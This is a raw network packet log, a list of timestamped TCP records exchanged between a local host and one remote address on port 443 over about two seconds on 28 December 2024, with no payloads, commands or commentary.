Dec 28, 2024 04:24:07.677278042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.677289009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.677316904 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.677330971 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.683063984 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.683080912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.683146000 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.683156967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.683197021 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.844970942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.844994068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.845071077 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.845091105 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.845129013 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.850480080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.850498915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.850578070 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.850584984 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.850631952 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.856332064 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.856348038 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.856414080 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.856426001 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.856467009 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.861466885 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.861484051 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.861573935 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.861593962 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.861637115 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.867356062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.867372036 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.867455959 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.867468119 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.867511988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.872797966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.872813940 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.872880936 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.872889042 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.872931957 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.878546000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.878561974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.878635883 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.878643036 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.878678083 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.884444952 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.884460926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.884525061 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.884537935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.884577036 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.046364069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.046380043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.046459913 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.046478033 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.046520948 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.052088022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.052102089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.052160978 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.052166939 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.052206039 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.057946920 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.057961941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.058024883 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.058032036 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.058069944 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.063555956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.063572884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.063615084 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.063621998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.063653946 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.063683033 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.068881989 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.068902016 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.068965912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.068979979 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.069020987 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.074429035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.074445963 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.074512959 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.074527979 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.074568033 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.080151081 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.080168962 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.080234051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.080248117 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.080287933 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.086049080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.086070061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.086133003 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.086147070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.086184025 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.247617006 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.247641087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.247711897 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.247739077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.247778893 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.253365993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.253384113 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.253453970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.253463030 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.253504992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.259213924 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.259232044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.259296894 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.259308100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.259350061 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.264362097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.264380932 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.264444113 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.264453888 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.264497042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.270090103 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.270107031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.270193100 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.270204067 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.270266056 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.275674105 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.275691032 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.275830984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.275846004 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.275887012 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.281380892 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.281394958 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.281449080 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.281461000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.281497002 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.287273884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.287290096 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.287341118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.287349939 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.287399054 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.448878050 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.448901892 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.449033022 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.449079037 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.449125051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.454597950 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.454617023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.454737902 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.454746962 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.454782963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.460442066 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.460464001 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.460546970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.460557938 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.460597038 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.465534925 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.465553045 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.465631008 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.465640068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.465678930 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.471451998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.471468925 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.471539974 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.471549034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.471595049 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.476924896 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.476941109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.477005005 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.477015972 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.477061987 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.482640982 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.482656002 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.482712030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.482718945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.482764006 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.488480091 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.488495111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.488538980 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.488553047 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.488564014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.488590002 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.499907017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.650187969 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.650202990 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.650293112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.650317907 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.650360107 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.656032085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.656047106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.656126022 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.656132936 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.656176090 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.661782980 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.661796093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.661873102 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.661880016 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.661928892 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.666918993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.666934013 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.667013884 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.667020082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.667057037 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.672771931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.672785044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.672851086 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.672858000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.672908068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.678215027 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.678229094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.678301096 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.678306103 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.678344965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.684104919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.684118986 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.684194088 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.684201002 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.684242010 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.689853907 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.689867973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.689943075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.689949036 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.689986944 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.708826065 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.851530075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.851553917 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.851629972 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.851655006 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.851696014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.857264996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.857280016 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.857357025 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.857364893 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.857404947 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.863101959 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.863116980 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.863181114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.863187075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.863224983 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.868248940 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.868263006 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.868333101 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.868339062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.868377924 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.873258114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.874075890 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.874089956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.874166965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.874172926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.874212027 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.879518032 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.879533052 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.879597902 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.879604101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.879643917 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.885288954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.885305882 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.885356903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.885361910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.885401964 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.891163111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.891184092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.891211987 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.891216993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:08.891248941 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.891263962 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:08.945461988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.052747965 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.052769899 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.052849054 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.052867889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.052922010 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.058589935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.058604002 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.058651924 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.058656931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.058693886 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.064327955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.064347982 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.064398050 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.064407110 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.064450026 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.066107035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.066123962 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.066176891 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.071867943 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.071882963 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.071927071 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.071938038 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.071974993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.076997995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.077013016 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.077058077 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.077065945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.077095032 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.077114105 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.083153963 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.083169937 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.083218098 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.083225012 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.083259106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.087594032 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.088315010 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.088329077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.088376999 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.088383913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.088416100 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.088434935 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.094186068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.094201088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.094240904 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.094250917 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.094290972 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.122554064 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.138483047 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.256448984 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.256468058 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.256546974 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.256561041 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.256604910 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.261591911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.261605978 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.261673927 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.261681080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.261718988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.267441034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.267455101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.267522097 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.267529011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.267566919 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.273181915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.273195028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.273360968 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.273367882 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.273411989 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.281260014 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.281274080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.281333923 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.281344891 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.281383991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.284485102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.284499884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.284557104 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.284564018 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.284599066 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.289633989 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.289649010 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.289721012 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.289729118 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:09.289769888 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:09.295543909 CET	443	49752	104.21.37.128	192.168.2.4
